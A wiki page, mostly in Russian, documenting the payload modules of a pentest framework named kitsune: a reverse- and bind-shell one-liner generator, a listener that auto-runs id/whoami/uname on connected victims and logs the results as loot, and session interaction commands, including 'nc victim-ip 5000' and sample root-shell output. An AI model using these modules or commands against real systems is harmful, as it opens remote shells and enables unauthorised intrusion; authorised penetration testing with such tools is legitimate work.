kitsune wiki

Nine-tailed pentest framework — полная документация по модулям

View on GitHub

Payloads layer

payloads/reverse_shell

Генератор one-liner шеллов (msfvenom-lite) — python / bash / nc, плюс base64 каждого:

kitsune > use reverse_shell
kitsune (payloads/reverse_shell) > set lhost 10.66.0.7
kitsune (payloads/reverse_shell) > run

Вставляет полный one-liner python/bash/nc в выдачу + loot(payload). Перед запуском жертвы: use payloads/listener (см. ниже).

payloads/bind_shell

Обратный вариант — жертва слушает, вы подключаетесь:

use bind_shell
set bport 5000
run         # python / nc -lvp / socat однострочник
# затем: nc victim-ip 5000

payloads/listener (msf handler)

Обратный handler — держит соединения открытыми, регистрирует сессии в db и участвует в sessions/interact:

kitsune > use listener
kitsune (payloads/listener) > set port 4444
kitsune (payloads/listener) > set seconds 60
kitsune (payloads/listener) > set autoprobe yes    # id/whoami/uname → loot
kitsune (payloads/listener) > run                  # блокирует REPL на N секунд

Когда shell подключается:

[+] shell connected from 10.0.0.5 — session live
[+] auto-probe 10.0.0.5: id=uid=0(root)...; whoami=root; ...

sessions / interact

kitsune > sessions
  Idx  Host      Port  State
     0 127.0.0.1 4444  LIVE
kitsune > interact 0
kitsune (shell) > id
kitsune (shell) > uname -a
kitsune (shell) > exit     # вернуться в REPL; сессия остаётся жива

Промпт kitsune (shell) > читает ввод из REPL, отсылает через TCP, ждёт ответ (timeout 1.5 сек). sessions одновременно показывает историю из db.sessions (статусы open/closed).

Дальше: post